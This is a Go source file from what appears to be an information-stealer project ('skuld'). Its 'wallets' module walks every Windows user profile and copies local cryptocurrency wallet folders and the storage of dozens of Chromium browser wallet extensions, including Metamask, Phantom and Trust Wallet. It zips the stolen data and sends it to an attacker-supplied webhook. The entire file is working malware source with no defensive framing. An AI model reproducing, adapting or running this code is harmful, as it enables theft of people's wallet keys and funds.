229 lines
8.6 KiB
Go
229 lines
8.6 KiB
Go
package wallets
|
|
|
|
import (
|
|
"fmt"
|
|
"os"
|
|
"strings"
|
|
|
|
"github.com/hackirby/skuld/modules/browsers"
|
|
"github.com/hackirby/skuld/utils/fileutil"
|
|
"github.com/hackirby/skuld/utils/hardware"
|
|
"github.com/hackirby/skuld/utils/requests"
|
|
)
|
|
|
|
func Run(webhook string) {
|
|
Local(webhook)
|
|
Extensions(webhook)
|
|
}
|
|
|
|
func Local(webhook string) {
|
|
users := hardware.GetUsers()
|
|
tempDir := fmt.Sprintf("%s\\wallets-temp", os.TempDir())
|
|
defer os.RemoveAll(tempDir)
|
|
found := ""
|
|
Paths := map[string]string{
|
|
"Zcash": "\\Zcash",
|
|
"Armory": "\\Armory",
|
|
"Bytecoin": "\\bytecoin",
|
|
"Jaxx": "\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb",
|
|
"Exodus": "\\Exodus\\exodus.wallet",
|
|
"Ethereum": "\\Ethereum\\keystore",
|
|
"Electrum": "\\Electrum\\wallets",
|
|
"AtomicWallet": "\\atomic\\Local Storage\\leveldb",
|
|
"Guarda": "\\Guarda\\Local Storage\\leveldb",
|
|
"Coinomi": "\\Coinomi\\Coinomi\\wallets",
|
|
}
|
|
|
|
for _, user := range users {
|
|
userPath := fmt.Sprintf("%s\\AppData\\Roaming\\", user)
|
|
|
|
for name, path := range Paths {
|
|
path = fmt.Sprintf("%s%s", userPath, path)
|
|
if !fileutil.IsDir(path) {
|
|
continue
|
|
}
|
|
if err := fileutil.Copy(path, fmt.Sprintf("%s\\%s\\%s", tempDir, strings.Split(user, "\\")[2], name)); err != nil {
|
|
continue
|
|
}
|
|
|
|
found += fmt.Sprintf("\n✅ %s - %s", strings.Split(user, "\\")[2], name)
|
|
}
|
|
}
|
|
|
|
if found == "" {
|
|
return
|
|
}
|
|
|
|
if len(found) > 4090 {
|
|
found = "Too many wallets to list."
|
|
}
|
|
|
|
tempZip := fmt.Sprintf("%s\\wallets.zip", os.TempDir())
|
|
if err := fileutil.Zip(tempDir, tempZip); err != nil {
|
|
return
|
|
}
|
|
|
|
defer os.RemoveAll(tempDir)
|
|
defer os.Remove(tempZip)
|
|
|
|
requests.Webhook(webhook, map[string]interface{}{
|
|
"embeds": []map[string]interface{}{{
|
|
"title": "Wallets",
|
|
"description": "```" + found + "```",
|
|
}},
|
|
}, tempZip)
|
|
}
|
|
|
|
func Extensions(webhook string) {
|
|
Paths := map[string]string{
|
|
"Authenticator": "\\Local Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai",
|
|
"Binance": "\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp",
|
|
"Bitapp": "\\Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi",
|
|
"BoltX": "\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca",
|
|
"Coin98": "\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg",
|
|
"Coinbase": "\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad",
|
|
"Core": "\\Local Extension Settings\\agoakfejjabomempkjlepdflaleeobhb",
|
|
"Crocobit": "\\Local Extension Settings\\pnlfjmlcjdjgkddecgincndfgegkecke",
|
|
"Equal": "\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac",
|
|
"Ever": "\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk",
|
|
"ExodusWeb3": "\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno",
|
|
"Fewcha": "\\Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj",
|
|
"Finnie": "\\Local Extension Settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj",
|
|
"Guarda": "\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln",
|
|
"Guild": "\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj",
|
|
"HarmonyOutdated": "\\Local Extension Settings\\fnnegphlobjdpkhecapkijjdkgcjhkib",
|
|
"Iconex": "\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel",
|
|
"Jaxx Liberty": "\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne",
|
|
"Kaikas": "\\Local Extension Settings\\jblndlipeogpafnldhgmapagcccfchpi",
|
|
"KardiaChain": "\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk",
|
|
"Keplr": "\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap",
|
|
"Liquality": "\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn",
|
|
"MEWCX": "\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm",
|
|
"MaiarDEFI": "\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm",
|
|
"Martian": "\\Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk",
|
|
"Math": "\\Local Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc",
|
|
"Metamask": "\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn",
|
|
"Metamask2": "\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm",
|
|
"Mobox": "\\Local Extension Settings\\fcckkdbjnoikooededlapcalpionmalo",
|
|
"Nami": "\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo",
|
|
"Nifty": "\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid",
|
|
"Oxygen": "\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh",
|
|
"PaliWallet": "\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn",
|
|
"Petra": "\\Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci",
|
|
"Phantom": "\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa",
|
|
"Pontem": "\\Local Extension Settings\\phkbamefinggmakgklpkljjmgibohnba",
|
|
"Ronin": "\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec",
|
|
"Safepal": "\\Local Extension Settings\\lgmpcpglpngdoalbgeoldeajfclnhafa",
|
|
"Saturn": "\\Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig",
|
|
"Slope": "\\Local Extension Settings\\pocmplpaccanhmnllbbkpgfliimjljgo",
|
|
"Solfare": "\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic",
|
|
"Sollet": "\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno",
|
|
"Starcoin": "\\Local Extension Settings\\mfhbebgoclkghebffdldpobeajmbecfk",
|
|
"Swash": "\\Local Extension Settings\\cmndjbecilbocjfkibfbifhngkdmjgog",
|
|
"TempleTezos": "\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc",
|
|
"TerraStation": "\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp",
|
|
"Tokenpocket": "\\Local Extension Settings\\mfgccjchihfkkindfppnaooecgfneiii",
|
|
"Ton": "\\Local Extension Settings\\nphplpgoakhhjchkkhmiggakijnkhfnd",
|
|
"Tron": "\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec",
|
|
"Trust Wallet": "\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph",
|
|
"Wombat": "\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih",
|
|
"XDEFI": "\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf",
|
|
"XMR.PT": "\\Local Extension Settings\\eigblbgjknlfbajkfhopmcojidlgcehm",
|
|
"XinPay": "\\Local Extension Settings\\bocpokimicclpaiekenaeelehdjllofo",
|
|
"Yoroi": "\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb",
|
|
"iWallet": "\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj",
|
|
}
|
|
|
|
users := hardware.GetUsers()
|
|
browsersPath := browsers.GetChromiumBrowsers()
|
|
var profilesPaths []browsers.Profile
|
|
for _, user := range users {
|
|
for name, path := range browsersPath {
|
|
path = fmt.Sprintf("%s\\%s", user, path)
|
|
if !fileutil.IsDir(path) {
|
|
continue
|
|
}
|
|
|
|
browser := browsers.Browser{
|
|
Name: name,
|
|
Path: path,
|
|
User: strings.Split(user, "\\")[2],
|
|
}
|
|
|
|
if browser.Name == "Opera" || browser.Name == "OperaGX" {
|
|
profilesPaths = append(profilesPaths, browsers.Profile{
|
|
Name: "Default",
|
|
Path: browser.Path,
|
|
Browser: browser,
|
|
})
|
|
continue
|
|
}
|
|
|
|
profiles, err := os.ReadDir(path)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
for _, profile := range profiles {
|
|
if profile.IsDir() {
|
|
files, err := os.ReadDir(fmt.Sprintf("%s\\%s", path, profile.Name()))
|
|
if err != nil {
|
|
continue
|
|
}
|
|
for _, file := range files {
|
|
if file.Name() == "Web Data" {
|
|
profilesPaths = append(profilesPaths, browsers.Profile{
|
|
Name: profile.Name(),
|
|
Path: fmt.Sprintf("%s\\%s", path, profile.Name()),
|
|
Browser: browser,
|
|
})
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
if len(profilesPaths) == 0 {
|
|
return
|
|
}
|
|
|
|
tempDir := fmt.Sprintf("%s\\extensions-temp", os.TempDir())
|
|
defer os.RemoveAll(tempDir)
|
|
found := ""
|
|
|
|
for _, profile := range profilesPaths {
|
|
for name, path := range Paths {
|
|
path = fmt.Sprintf("%s%s", profile.Path, path)
|
|
if !fileutil.IsDir(path) {
|
|
continue
|
|
}
|
|
|
|
err := fileutil.Copy(path, fmt.Sprintf("%s\\%s\\%s", tempDir, profile.Browser.User, name))
|
|
if err != nil {
|
|
continue
|
|
}
|
|
found += fmt.Sprintf("\n✅ %s - %s", profile.Browser.User, name)
|
|
}
|
|
}
|
|
|
|
if found == "" {
|
|
return
|
|
}
|
|
|
|
if len(found) > 4090 {
|
|
found = "Too many extensions to list."
|
|
}
|
|
|
|
tempZip := fmt.Sprintf("%s\\extensions.zip", os.TempDir())
|
|
if err := fileutil.Zip(tempDir, tempZip); err != nil {
|
|
return
|
|
}
|
|
defer os.Remove(tempZip)
|
|
requests.Webhook(webhook, map[string]interface{}{
|
|
"embeds": []map[string]interface{}{{
|
|
"title": "Extensions",
|
|
"description": "```" + found + "```",
|
|
}},
|
|
}, tempZip)
|
|
}
|